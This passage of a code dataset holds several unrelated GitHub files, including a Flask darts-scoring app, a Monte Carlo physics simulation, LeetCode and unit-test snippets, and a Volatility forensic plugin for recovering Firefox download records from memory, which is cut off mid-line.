variable=varlist[i], onvalue=1, offvalue=0,\r\n command=lambda: UpdateMeters(checklist, varlist))\r\n checklist[i].grid(row=i, column=0)\r\n\r\n# Single Measure All\r\nsingle_measureAllButton = tk.Button(text=\"Single Measure All\", fg=\"black\", bg=\"white\",\r\n command=lambda: TakeSingleMeasurementAll(checklist))\r\nsingle_measureAllButton.grid(row=len(checklist), column=0, padx=(5, 10), pady=(10, 10))\r\n\r\n# Continuous Measure All start\r\ncont_measureAllButton = tk.Button(text=\"Continuous Measure All\", fg=\"black\", bg=\"white\",\r\n command=lambda: TakeContMeasurementAll(checklist))\r\ncont_measureAllButton.grid(row=len(checklist), column=1, padx=(5, 10), pady=(10, 10))\r\n\r\n# Continuous Measure All stop\r\ncont_measureAllButton_stop = tk.Button(text=\"Stop Measure All\", fg=\"black\", bg=\"white\",\r\n command=lambda: StopContMeasurementAll(checklist))\r\ncont_measureAllButton_stop.grid(row=len(checklist), column=2, padx=(5, 10))\r\n\r\nroot.mainloop()\r\nis_on = False\r\n","repo_name":"jereifej/PM-212_Connection","sub_path":"Connection_GUI.py","file_name":"Connection_GUI.py","file_ext":"py","file_size_in_byte":7149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37039223718","text":"import unittest\nfrom unittest.mock import patch\nfrom code_generator import get_code\nfrom code_generator import get_code_with_day\n\n\nclass TestGetCode(unittest.TestCase):\n\n @patch('random.randint')\n def test_get_code_mock_should_return_3(self, mocked_random):\n mocked_random.return_value = 3\n actual = get_code()\n expected = 'CX-3'\n self.assertEqual(actual, expected)\n\n\nclass TestGetCodeWithDay(unittest.TestCase):\n\n @patch('random.randint')\n def test_get_code_with_day_with_today_date(self, mock_int):\n mock_int.return_value = 5\n actual = get_code_with_day()\n expected = 'CX-5-TUE'\n self.assertEqual(actual, expected)\n\n @patch('code_generator.get_today_name')\n @patch('random.randint')\n def test_get_code_with_day_with_mocked_friday(self, mock_int, mock_day):\n mock_int.return_value = 5\n mock_day.return_value = 'FRI'\n actual = get_code_with_day()\n expected = 'CX-5-FRI'\n self.assertEqual(actual, expected)\n\n @patch('code_generator.get_today_name')\n @patch('random.randint')\n def test_get_code_with_day_with_mocked_sunday(self, mock_int, mock_day):\n mock_int.return_value = 5\n mock_day.return_value = 'SUN'\n actual = get_code_with_day()\n expected = 'CX-5-SUN'\n self.assertEqual(actual, expected)\n\n","repo_name":"adrian88szymanski/Python_project","sub_path":"Python_Unittest/12_mocking/04_project/test_code.py","file_name":"test_code.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40791684859","text":"from functools import wraps\nfrom hashlib import sha256\nimport os\nimport uuid\nfrom flask import Flask, session, jsonify, request, render_template, redirect, url_for, make_response, flash\nfrom flask_cors import CORS, cross_origin\nfrom flask_login import LoginManager\nfrom flask_socketio import SocketIO, emit, join_room\nfrom flask_uuid import FlaskUUID\nfrom werkzeug.exceptions import abort\n\n\nfrom src.models.database import Database\nfrom src.models.user import User\nfrom src.models.aroundtheboard import AroundTheWorld\nfrom src.models.dartsat import DartsAt\nfrom src.models.bobs27 import Bobs27\n\napp = Flask(__name__)\nFlaskUUID(app)\n__author__ = 'jamie'\n\nMONGODB_URI = os.environ.get('MONGO_URL')\n\n\napp.secret_key = os.urandom(24)\n\nsocketio = SocketIO(app)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\n\nmatch = None\n\nconnected_users = list()\nopponent = None\n\n\ndef ssl_required(fn):\n @wraps(fn)\n def decorated_view(*args, **kwargs):\n return redirect(request.url.replace(\"http://\", \"https://\"))\n\n return decorated_view\n\n\ndef loggedin(function):\n @wraps(function)\n def wrapper():\n if 'name' in session:\n return make_response(function())\n else:\n abort(401)\n return wrapper\n\n\ndef setup_database():\n Database.initialize(MONGODB_URI)\n\n\n@app.route('/')\ndef home_page():\n\n if 'email' in session:\n return render_template(\"index.html\", message=\"You are logged in as \" + session['name'])\n return render_template(\"index.html\")\n\n\n@app.route('/register')\ndef register_page():\n return render_template(\"register.html\")\n\n\n@app.route('/login')\ndef login_page():\n return render_template(\"login.html\")\n\n\n@app.route('/player-lobby')\n@loggedin\ndef player_lobby():\n return render_template(\"player-lobby.html\")\n\n\n@app.route('/games')\n@loggedin\ndef games_list():\n return render_template(\"games.html\")\n\n\n@app.route('/around-the-board', methods=['GET'])\n@loggedin\ndef around_the_board_page():\n mode = request.args.get('mode')\n\n if mode in (\"Any\", \"Single\", \"Double\", \"Treble\"):\n return render_template(\"around-the-board.html\", mode=mode)\n else:\n abort(403)\n\n\n@app.route('/100-darts-at', methods=['GET'])\n@loggedin\ndef darts_at_page():\n mode = request.args.get('mode')\n if mode in (\"20\", \"19\", \"18\", \"17\", \"16\", \"15\", \"Bull\"):\n return render_template(\"100-darts-at.html\", mode=mode)\n else:\n abort(403)\n\n\n@app.route('/bobs-27')\n@loggedin\ndef bobs_27_page():\n return render_template(\"bobs-27.html\")\n\n\n@app.route('/profile')\n@loggedin\ndef profile_page():\n return render_template(\"profile.html\")\n\n\n@app.route('/stats/100-darts-at')\n@loggedin\ndef darts_at_stats():\n player = session['name']\n games = DartsAt.get_games(player)\n return render_template(\"darts-at-overall.html\", dartsAt=games)\n\n\n@app.route('/stats/around-the-board')\n@loggedin\ndef around_the_board_stats():\n player = session['name']\n games = AroundTheWorld.get_games(player)\n return render_template(\"around-the-board-overall.html\", aroundTheBoard=games)\n\n\n@app.route('/stats/bobs-27')\n@loggedin\ndef bobs_27_stats():\n player = session['name']\n games = Bobs27.get_games(player)\n return render_template(\"bobs-27-overall.html\", bobs27=games)\n\n\n@app.route('/bobs-27-summary', methods=['GET'])\n@loggedin\ndef bobs_27_summary():\n game_id = request.args.get('game_id')\n game = Bobs27.get_by_id(uuid.UUID(game_id))\n hitsOnEachNumberDict = game['hitsOnEachNumber']\n hitsOnNumber = []\n hitsOnNumber.append(hitsOnEachNumberDict['1'])\n hitsOnNumber.append(hitsOnEachNumberDict['2'])\n hitsOnNumber.append(hitsOnEachNumberDict['3'])\n hitsOnNumber.append(hitsOnEachNumberDict['4'])\n hitsOnNumber.append(hitsOnEachNumberDict['5'])\n hitsOnNumber.append(hitsOnEachNumberDict['6'])\n hitsOnNumber.append(hitsOnEachNumberDict['7'])\n hitsOnNumber.append(hitsOnEachNumberDict['8'])\n hitsOnNumber.append(hitsOnEachNumberDict['9'])\n hitsOnNumber.append(hitsOnEachNumberDict['10'])\n hitsOnNumber.append(hitsOnEachNumberDict['11'])\n hitsOnNumber.append(hitsOnEachNumberDict['12'])\n hitsOnNumber.append(hitsOnEachNumberDict['13'])\n hitsOnNumber.append(hitsOnEachNumberDict['14'])\n hitsOnNumber.append(hitsOnEachNumberDict['15'])\n hitsOnNumber.append(hitsOnEachNumberDict['16'])\n hitsOnNumber.append(hitsOnEachNumberDict['17'])\n hitsOnNumber.append(hitsOnEachNumberDict['18'])\n hitsOnNumber.append(hitsOnEachNumberDict['19'])\n hitsOnNumber.append(hitsOnEachNumberDict['20'])\n hitsOnNumber.append(hitsOnEachNumberDict['Bull'])\n return render_template('bobs-27-summary.html', game=game, hits=hitsOnNumber)\n\n\n@app.route('/darts-at-summary', methods=['GET'])\n@loggedin\ndef darts_at_summary():\n game_id = request.args.get('game_id')\n game = DartsAt.get_by_id(uuid.UUID(game_id))\n\n return render_template('darts-at-summary.html', game=game)\n\n\n@app.route('/around-the-board-summary', methods=['GET'])\n@loggedin\ndef around_the_board_summary():\n game_id = request.args.get('game_id')\n game = AroundTheWorld.get_by_id(uuid.UUID(game_id))\n dartsThrownAtDict = game['numberOfDartsAtEachNumber']\n dartsThrownAt = []\n dartsThrownAtLabels = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11','12', '13', '14', '15', '16',\n '17', '18', '19', '20', 'Bull']\n\n # can't loop through because keys are unordered strings. Auto ordering does not work.\n dartsThrownAt.append(dartsThrownAtDict['1'])\n dartsThrownAt.append(dartsThrownAtDict['2'])\n dartsThrownAt.append(dartsThrownAtDict['3'])\n dartsThrownAt.append(dartsThrownAtDict['4'])\n dartsThrownAt.append(dartsThrownAtDict['5'])\n dartsThrownAt.append(dartsThrownAtDict['6'])\n dartsThrownAt.append(dartsThrownAtDict['7'])\n dartsThrownAt.append(dartsThrownAtDict['8'])\n dartsThrownAt.append(dartsThrownAtDict['9'])\n dartsThrownAt.append(dartsThrownAtDict['10'])\n dartsThrownAt.append(dartsThrownAtDict['11'])\n dartsThrownAt.append(dartsThrownAtDict['12'])\n dartsThrownAt.append(dartsThrownAtDict['13'])\n dartsThrownAt.append(dartsThrownAtDict['14'])\n dartsThrownAt.append(dartsThrownAtDict['15'])\n dartsThrownAt.append(dartsThrownAtDict['16'])\n dartsThrownAt.append(dartsThrownAtDict['17'])\n dartsThrownAt.append(dartsThrownAtDict['18'])\n dartsThrownAt.append(dartsThrownAtDict['19'])\n dartsThrownAt.append(dartsThrownAtDict['20'])\n dartsThrownAt.append(dartsThrownAtDict['Bull'])\n\n return render_template(\"around-the-board-summary.html\", game=game, dartsThrownAt=dartsThrownAt, dartsThrownAtLabels\n =dartsThrownAtLabels)\n\n\n@app.route(\"/update/100-darts-at\", methods=[\"POST\"])\n@cross_origin()\ndef update_darts_at():\n _id = uuid.uuid4()\n data = request.get_json()\n player = session['name']\n dartsThrown = data['dartsThrown']\n score = data['score']\n points = data['points']\n number = data['number']\n miss = data['miss']\n single = data['single']\n double = data['double']\n treble = data['treble']\n if DartsAt.add_game(_id, player, dartsThrown, score, points, number, miss, single, double, treble):\n return jsonify({\"message\": \"Done\", \"id\": _id}), 200\n else:\n return jsonify({\"error\": \"The data could not be saved\"}), 201\n\n\n@app.route(\"/update/bobs-27\", methods=[\"POST\"])\n@cross_origin()\ndef update_bobs_27():\n _id = uuid.uuid4()\n data = request.get_json()\n player = session['name']\n score = data['score']\n hitsOnEachNumber = data['hitsOnEachNumber']\n if Bobs27.add_game(_id, player, score, hitsOnEachNumber):\n return jsonify({\"message\": \"Done\", \"id\": _id}), 200\n else:\n return jsonify({\"error\": \"The data could not be saved\"}), 201\n\n\n@app.route(\"/update/around-the-board\", methods=[\"POST\"])\n@cross_origin()\ndef update_around_the_board():\n _id = uuid.uuid4()\n data = request.get_json()\n player = session['name']\n mode = data['mode']\n numberOfDarts = data['numberOfDarts']\n dartsAtEachNumber = data['dartsAtEachNumber']\n\n if AroundTheWorld.add_game(_id, player, numberOfDarts, dartsAtEachNumber, mode):\n return jsonify({\"message\": \"Game Saved!\", \"id\": _id}), 200\n else:\n return jsonify({\"error\": \"The data could not be saved\"}), 201\n\n\n@app.route('/auth/register', methods=[\"POST\"])\n@cross_origin()\ndef register_user():\n name = request.form['username']\n password = sha256(request.form['password'].encode('utf-8')).hexdigest()\n email = request.form['email']\n if User.register_user(name, password, email):\n session['name'] = name\n return redirect(url_for('home_page'))\n else:\n flash(\"This user already exists\")\n return redirect(url_for('register_page'))\n\n\n@app.route('/auth/login', methods=[\"POST\"])\n@cross_origin()\ndef login_user():\n user_name = request.form['username']\n user_password = request.form['password']\n\n if User.check_login(user_name, user_password):\n session['name'] = user_name\n return jsonify({\"message\": \"Logged In!\", \"username\": session['name']}), 200\n else:\n return jsonify({\"error\": \"Invalid Username Or Password\"}), 201\n\n\n@app.route('/leaderboards')\ndef leaderboards():\n around_the_board_leader = AroundTheWorld.get_leaderboard(10)\n darts_at_leader = DartsAt.get_leaderboard(10)\n bobs_27_leader = Bobs27.get_leaderboard(10)\n return render_template('leaderboards.html', around_the_board=around_the_board_leader,\n darts_at=darts_at_leader, bobs27=bobs_27_leader)\n\n\n\n@app.route('/logout')\ndef logout():\n session.clear()\n return redirect(url_for('home_page'))\n\n\n@socketio.on('joined', namespace='/chat')\ndef joined():\n user = session['name']\n join_room(user)\n connected_users.append(user)\n emit('status', {'msg': user + ' has entered the room.', 'user': user, 'userlist': connected_users}, broadcast=True)\n\n\n@socketio.on('message', namespace='/chat')\ndef message_received(message):\n user = session['name']\n emit('message received', {'message': user + ': ' + message['msg']}, broadcast=True)\n\n\n@socketio.on('playerleft', namespace='/chat')\ndef disconnected():\n user = session['name']\n connected_users.remove(user)\n emit('status', {'msg': user + ' has left the room.', 'user': user, 'userlist': connected_users}, broadcast=True)\n\n\n@socketio.on('challenge_player', namespace='/chat')\ndef challenge_player(player):\n user = session['name']\n room = player['player']\n newroom = user + room\n join_room(newroom)\n emit('challenged', {'msg': user + ' has challenged you to 501, accept?', 'player': user, 'newroom': newroom})\n\n\n@socketio.on('matchaccepted', namespace='/chat')\ndef player_accepted(data):\n join_room(data['room'])\n matchid = str(uuid.uuid1())\n url = '/match/' + matchid\n emit('beginmatch', {'url': url})\n\n\n@socketio.on('setupmatch', namespace='/chat')\ndef setup_match(data):\n join_room(data['room'])\n matchid = str(uuid.uuid1())\n url = '/match/' + matchid\n emit('beginmatch', {'url': url})\n\n\n@app.route('/player-challenged', methods=['POST'])\ndef match_accepted():\n json = request.get_json()\n\n session['opponent'] = json['player']\n room = json['newroom']\n\n return jsonify({'room': room})\n\n\n\n\n@app.route('/match/', methods=[\"GET\", \"POST\"])\ndef start_match(match_id):\n test= 12\n myData = {'name': session['name'],\n 'score': 501,\n 'dartaverage': 0,\n 'doublepercentage': 0\n }\n\n theirData = {'name': session['opponent'],\n 'score': 501,\n 'dartaverage': 0,\n 'doublepercentage': 0\n }\n\n matchData = {'id': match_id,\n 'legs': 5,\n 'sets': 1\n }\n return render_template(\"match.html\", myData=myData, theirData=theirData, matchData=matchData)\n\n\n@app.before_first_request\ndef init_app():\n setup_database()\n\n\nif __name__ == \"__main__\":\n socketio.run(app, host='0.0.0.0', debug=True)\n","repo_name":"jkerr123/darts-scorer","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33627943343","text":"# MONTE CARLO TEST WITH HARMONIC OSCILLATOR IN 1D\n\n# The prevuìious code allowd us to test the algorithm and verify the properties\n# of the local kinetic energy with some plots. However, the variational parameter\n# in the WF had to be changed manually. Now, we actually want to automate the \n# variational procedure to find the best value of alpha via a minimisation of the energy\n\nimport time\nimport numpy as np\nfrom numba import njit\nimport math as m\nimport matplotlib.pyplot as plt\nimport random as rd\n\nN_steps = 50000 # Simulation steps\nN_eq = 5000\n\n# Function to compute the WF\n\n@njit \ndef WF(x, alpha):\n \n # We can forget about the normalisation, it comes \"for free\" in MC\n \n Psi = m.exp(- x**2 / (2*alpha**2) ) #* 1 / (2*m.pi*alpha**2)**0.5\n \n return Psi\n\n# FUNCTION FOR THE METROPOLIS ALGORITHM\n\n@njit\ndef metropolis(x, N_acc, wf2_old, Delta, alpha):\n\n # First, we need to build a new configuration\n # We start from the initial one\n\n new_x = x \n\n # Variation of position\n\n rand = rd.uniform(0,1) # Pick random number\n new_x = x - Delta * (rand - 0.5) # Set new coordinate\n\n # Now, we must evaluate the acceptance ratio using the ratio of the square moduli of the WFs\n\n wf2_new = WF(new_x, alpha)**2\n\n acc = wf2_new / wf2_old\n\n # Decide acceptance\n\n xi = rd.uniform(0,1)\n\n wf2 = wf2_old\n\n if xi < acc: # new_part becomes part, we accept the MC move\n\n x = new_x\n\n N_acc += 1 # Increase the number of accepted moves\n\n wf2 = wf2_new\n\n return x, N_acc, wf2\n\n# FUNCTION TO COMPUTE THE POTENTIAL ENERGY \n\n@njit\ndef p_energy(x):\n \n p_en = 0.5 * x**2\n \n return p_en\n\n# FUNCTION TO COMPUTE THE KINETIC ENERGY\n\n@njit\ndef k_energy(x, alpha):\n \n k_en = - 0.5 * (-1 / alpha**2 + x**2 / alpha**4) \n \n return k_en\n\n# FUNCTION FOR CALCULATION OF ALL THE ENERGIES WITH REWEIGHTING \n\n@njit\ndef reweighting(alpha, alpha_s, x):\n \n l = len(alpha)\n \n weight = np.zeros(l)\n loc_en = np.zeros(l)\n \n for i in range(0, l):\n \n # compute all the weights for all the \n \n weight[i] = m.exp( (-x**2 / 2) * ( (1.0/alpha[i]**2) - (1.0/alpha_s**2) ) )\n #weight[i] = m.exp( x**2 * (alpha[i]-alpha_s)/alpha_s**2)\n \n loc_en[i] = (p_energy(x) + k_energy(x, alpha[i])) * weight[i] # Compute energy\n \n return weight, loc_en\n\n# FUNCTION TO PERFORM THE ITERATIVE PROCEDURE\n\n#@njit\ndef montecarlo(x):\n \n alpha_s = 1.0 # Parameter for which we run the simulation\n \n dalpha = np.arange(-0.1, 0.1, 0.01) # Amounts by which we use the \n \n # Construct array of variational parameters\n \n alpha = np.zeros(len(dalpha)) \n \n for i in range(0, len(dalpha)):\n \n alpha[i] = alpha_s + dalpha[i]\n \n Delta = 4 # Value of parameter for displacement\n\n # First, the equilibration steps\n\n wf2 = WF(x,alpha_s)\n\n N_acc1 = 0\n \n # Equilibration with chosen steps \n \n for s in range(0,N_eq): # stop the equilibration when variance is smaller than 1%\n \n # An adaptive scheme for Delta would be needed\n\n x, N_acc1, wf2 = metropolis(x, N_acc1, wf2, Delta, alpha_s)\n \n # An adaptive scheme for Delta \n \n if s != 0 and s%5 == 0:\n \n if N_acc1 / s >= 0.55:\n \n Delta += 0.05 * 4\n \n elif N_acc1 / s <= 0.45:\n \n Delta -= 0.05 * 4\n \n # Simulation Steps\n\n N_acc2 = 0\n cum_en = np.zeros(len(dalpha)) # Reset cumulative variable\n cum_en2 = np.zeros(len(dalpha)) # Reset cumulative variable\n cum_w = np.zeros(len(dalpha))\n mean_en = np.zeros(len(dalpha))\n std_en = np.zeros(len(dalpha))\n\n for s in range(0, N_steps):\n\n x, N_acc2, wf2 = metropolis(x, N_acc2, wf2, Delta, alpha_s)\n \n # An adaptive scheme for Delta \n \n if s != 0 and s%5 == 0:\n \n if N_acc2 / s >= 0.55:\n \n Delta += 0.05 * 4\n \n elif N_acc2 / s <= 0.45:\n \n Delta -= 0.05 * 4\n \n # Compute local energy and weight\n \n weight, loc_en = reweighting(alpha, alpha_s, x)\n \n #print(weight)\n \n for i in range(0,len(dalpha)):\n \n cum_w[i] += weight[i]\n cum_en[i] += loc_en[i] \n cum_en2[i] += (loc_en[i])**2\n \n for i in range(0,len(dalpha)):\n \n mean_en[i] = cum_en[i] / cum_w[i] \n # Had to drop an absolute value in to make stuff work\n std_en[i] = m.sqrt( 1 / (N_steps-1) * abs( cum_en2[i] / cum_w[i] - mean_en[i]**2) )\n\n accf = N_acc2/N_steps\n \n return alpha, accf, mean_en, std_en\n\n\n# EXECUTION OF THE PROCEDURE\n\n# Start procedure timing\n\nstart = time.time()\n\n# Set initial conditions3\n\nx = 0\n\n# Run the MC simulation\n\nalpha, accept, mean, std = montecarlo(x)\n\nprint(\"\\n The energy is {} pm {}\".format(np.max(mean), std[np.argmax(mean)]))\n\n# Plot the energy as a function of the variational parameter\n\nfig, ax= plt.subplots(1, figsize=(8,5.5))\nplt.errorbar(alpha, mean, std, elinewidth=1, linewidth = 0, marker=\".\", ms = 3, mec=\"blue\", mfc=\"blue\", label=\"Simulation Result\")\nplt.grid()\nplt.axhline(0.5, linewidth = 0.8, c= \"red\", label=\"Exact Value\")\n# plt.xlim([0.9,1.1])\n# plt.ylim([0.49, 0.51]) # Uncomment to see that tiny errorbars are actually there\nplt.xlabel(r\"$\\alpha$\", fontsize=14)\nplt.ylabel(\"Energy\", fontsize=14)\nplt.title(\"Energy\", fontsize=18)\nplt.legend()\nplt.savefig(\"Energies.png\", dpi = 300)\n\n# Plot the std as a function of alpha\n\nfig, ax= plt.subplots(1, figsize=(8,5.5))\nplt.plot(alpha, std, linewidth = 0, marker=\".\", ms = 3, mec=\"blue\", mfc=\"blue\")\nplt.grid()\n# plt.xlim([0.9,1.1])\n# plt.ylim([0.49, 0.51]) # Uncomment to see that tiny errorbars are actually there\nplt.xlabel(r\"$\\alpha$\", fontsize=14)\nplt.ylabel(\"Std\", fontsize=14)\nplt.title(\"Standard Deviation\", fontsize=18)\nplt.savefig(\"Standard Deviation.png\", dpi = 300)\n\n# End procedure timing\n\nend = time.time()\n\nprint(\"\\n The simulation took me {} seconds\".format(end-start))","repo_name":"NerusSkyhigh/computationalphysics2021","sub_path":"Exercise_4/Warmup_HO/Warmup_HO_Reweight.py","file_name":"Warmup_HO_Reweight.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74103854454","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^register/$', views.register, name='register'),\n url(r'^authenticate/$', views.authenticate, name='authenticate'),\n url(r'^update_fcm_id/$', views.update_fcm_id, name='update_fcm_id'),\n url(r'^upload_photo/$', views.upload_photo, name='upload_photo'),\n url(r'^login/$', views.login, name='login'),\n url(r'^select_likes/$', views.select_likes, name='select_likes'),\n url(r'^update_users/$', views.update_users, name='update_users'),\n url(r'^get_matches/$', views.get_matches, name='get_matches'),\n url(r'^send_message/$', views.send_message, name='send_message'),\n url(r'^get_messages/$', views.get_messages, name='get_messages'),\n url(r'^logout/$', views.logout, name='logout'),\n url(r'^get_location_info/$', views.get_location_info, name='get_location_info'),\n url(r'^get_user_counts/$', views.get_user_counts, name='get_user_counts'),\n]\n","repo_name":"fedja-tica/flirtapp-api","sub_path":"web_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28502992831","text":"# 971. Flip Binary Tree To Match Preorder Traversal\n\n# Medium\n\n# You are given the root of a binary tree with n nodes, where each node\n# is uniquely assigned a value from 1 to n. You are also given a\n# sequence of n values voyage, which is the desired pre-order traversal\n# of the binary tree.\n\n# Any node in the binary tree can be flipped by swapping its left and\n# right subtrees. For example, flipping node 1 will have the following\n# effect:\n\n\n# Flip the smallest number of nodes so that the pre-order traversal of\n# the tree matches voyage.\n\n# Return a list of the values of all flipped nodes. You may return the\n# answer in any order. If it is impossible to flip the nodes in the tree\n# to make the pre-order traversal match voyage, return the list [-1].\n\n# Example 1:\n# Input: root = [1,2], voyage = [2,1]\n# Output: [-1]\n# Explanation: It is impossible to flip the nodes such that the\n# pre-order traversal matches voyage.\n\n# Example 2:\n# Input: root = [1,2,3], voyage = [1,3,2]\n# Output: [1]\n# Explanation: Flipping node 1 swaps nodes 2 and 3, so the pre-order\n# traversal matches voyage.\n\n# Example 3:\n# Input: root = [1,2,3], voyage = [1,2,3]\n# Output: []\n# Explanation: The tree's pre-order traversal already matches voyage, so\n# no nodes need to be flipped.\n\n# Constraints:\n# The number of nodes in the tree is n.\n# n == voyage.length\n# 1 <= n <= 100\n# 1 <= Node.val, voyage[i] <= n\n# All the values in the tree are unique.\n# All the values in voyage are unique.\n\nfrom typing import List\nfrom utils import checkList, TreeNode, treeFromArray\n\n\nclass Solution:\n def flipMatchVoyage(self, root: TreeNode, voyage: List[int]) -> List[int]:\n res = []\n\n def preorder(node, i):\n if not node:\n return i - 1\n if i == -1 or node.val != voyage[i]:\n return -1\n\n t = preorder(node.left, i + 1)\n if t >= 0:\n return preorder(node.right, t + 1)\n\n res.append(node.val)\n t = preorder(node.right, i + 1)\n if t >= 0:\n return preorder(node.left, t + 1)\n return -1\n\n i = preorder(root, 0)\n return res if i > -1 else [-1]\n\n\nt = Solution()\nprint(t.flipMatchVoyage(treeFromArray([1, 2, 3], 0), [1, 3, 2]))\n","repo_name":"DmitryVlaznev/leetcode","sub_path":"971-flip-binary-tree-to-match-preorder-traversal.py","file_name":"971-flip-binary-tree-to-match-preorder-traversal.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"70093891949","text":"def Binary(arr,number):\n '''\n this is the fastest Search algorithm,but the array must completion sort.\n '''\n l = 0 #the left number index\n r = len(arr) #the right number index\n while True:\n m = int((l+r)/2) #Middle index\n n = arr[m] #Middle number.\n if number==n:\n return m\n if number > n:\n l = m\n if number < n:\n r = m\n\n\ndef Linear(arr,number):\n '''\none by one search number.\n '''\n i = -1\n for x in arr:\n i = i+1\n if x==number:\n return i\n","repo_name":"icaijy/my-main-code","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34688685994","text":"import volatility.plugins.common as common\nimport volatility.scan as scan\nimport volatility.utils as utils\nimport volatility.addrspace as addrspace\nimport volatility.debug as debug\nimport volatility.obj as obj\nimport binascii\nimport sqlite_help\nimport csv\nfrom datetime import datetime\n\nFORWARD = sqlite_help.FORWARD\nBACKWARD = sqlite_help.BACKWARD\n\nclass FirefoxScanner(scan.BaseScanner):\n checks = [ ] \n\n def __init__(self, needles = None):\n self.needles = needles\n self.checks = [ (\"MultiStringFinderCheck\", {'needles':needles})]\n scan.BaseScanner.__init__(self) \n\n def scan(self, address_space, offset = 0, maxlen = None):\n for offset in scan.BaseScanner.scan(self, address_space, offset, maxlen):\n yield offset\n\n\n\nclass FirefoxDownloads(common.AbstractWindowsCommand):\n \"\"\" Scans for and parses potential Firefox download records -- downloads.sqlite moz_downloads table pre FF26 only\"\"\"\n\n def __init__(self, config, *args, **kwargs):\n common.AbstractWindowsCommand.__init__(self, config, *args, **kwargs)\n\n def calculate(self):\n address_space = utils.load_as(self._config, astype = 'physical')\n\n # definite values in Downloads records\n scanner = FirefoxScanner(needles = ['\\x06\\x06\\x08',\n '\\x06\\x06\\x09',\n ])\n downloads = {}\n for offset in scanner.scan(address_space):\n ff_buff = address_space.read(offset-16, 3000)\n start = 16\n\n good = False\n\n start -= 1\n (tempPath_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n tempPath_length = sqlite_help.varint_to_text_length(tempPath_length)\n\n # work backward from the start of the needle to the first field payload_length\n start -= varint_len\n (target_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n target_length = sqlite_help.varint_to_text_length(target_length)\n\n start -= varint_len\n (source_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n source_length = sqlite_help.varint_to_text_length(source_length)\n\n start -= varint_len\n (name_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n name_length = sqlite_help.varint_to_text_length(name_length)\n\n start -= varint_len\n (id_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n start -= varint_len\n (payload_header_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n start -= varint_len\n (row_id, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n start -= varint_len\n (payload_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n # jump back to the needle, startTime_length\n start = 16\n\n # get all of the single byte lengths around the needle\n (startTime_length, startTime) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n (endTime_length, endTime) = sqlite_help.varint_type_to_length(ord(ff_buff[start+1]))\n (state_length, state) = sqlite_help.varint_type_to_length(ord(ff_buff[start+2]))\n\n # get the rest of the fields in the row moving forward\n start = 19\n (referrer_length, varint_len) = sqlite_help.find_varint(ff_buff, start, FORWARD)\n referrer_length = sqlite_help.varint_to_text_length(referrer_length)\n start += varint_len\n\n (entityID_length, varint_len) = sqlite_help.find_varint(ff_buff, start, FORWARD)\n entityID_length = sqlite_help.varint_to_text_length(entityID_length)\n start += varint_len\n\n (currBytes_length, currBytes) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n (maxBytes_length, maxBytes) = sqlite_help.varint_type_to_length(ord(ff_buff[start+1]))\n\n start += 2\n\n (mimeType_length, varint_len) = sqlite_help.find_varint(ff_buff, start, FORWARD)\n mimeType_length = sqlite_help.varint_to_text_length(mimeType_length)\n start += varint_len\n\n (preferredApplication_length, varint_len) = sqlite_help.find_varint(ff_buff, start, FORWARD)\n preferredApplication_length = sqlite_help.varint_to_text_length(preferredApplication_length)\n start += varint_len\n\n (preferredAction_length, preferredAction) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n (autoResume_length, autoResume) = sqlite_help.varint_type_to_length(ord(ff_buff[start+1]))\n\n start += 2\n \n name = ff_buff[start:start+name_length]\n start += name_length\n\n source = ff_buff[start:start+source_length]\n start += source_length\n\n target = ff_buff[start:start+target_length]\n start += target_length\n\n tempPath = ff_buff[start:start+tempPath_length]\n start += tempPath_length\n\n # do some checks on the startTime/endTime to make sure they are valid\n startTime = ff_buff[start:start+startTime_length]\n startTime = sqlite_help.sql_unpack(startTime)\n if startTime > 0 and startTime:\n startTime = sqlite_help.get_nixtime_from_msec(startTime)\n if type(startTime) is not datetime:\n continue\n start += startTime_length\n\n endTime = ff_buff[start:start+endTime_length]\n endTime = sqlite_help.sql_unpack(endTime)\n if endTime > 0 and startTime:\n endTime = sqlite_help.get_nixtime_from_msec(endTime)\n if type(endTime) is not datetime:\n continue\n start += endTime_length\n\n # if both dates are 1970, it's probably a bad record and not very useful, so skip\n # if only 1 is 1970, print it because it may be an old record with one valid date\n if startTime.year == 1970 and endTime.year == 1970:\n continue\n\n if state_length > 0:\n state = sqlite_help.sql_unpack(ff_buff[start:start+state_length])\n start += state_length\n\n referrer = ff_buff[start:start+referrer_length]\n start += referrer_length\n\n entityID = ff_buff[start:start+entityID_length]\n start += entityID_length\n\n currBytes = ff_buff[start:start+currBytes_length]\n currBytes = sqlite_help.sql_unpack(currBytes)\n # skip if negative or greater than 1TB\n if currBytes < 0 or currBytes > 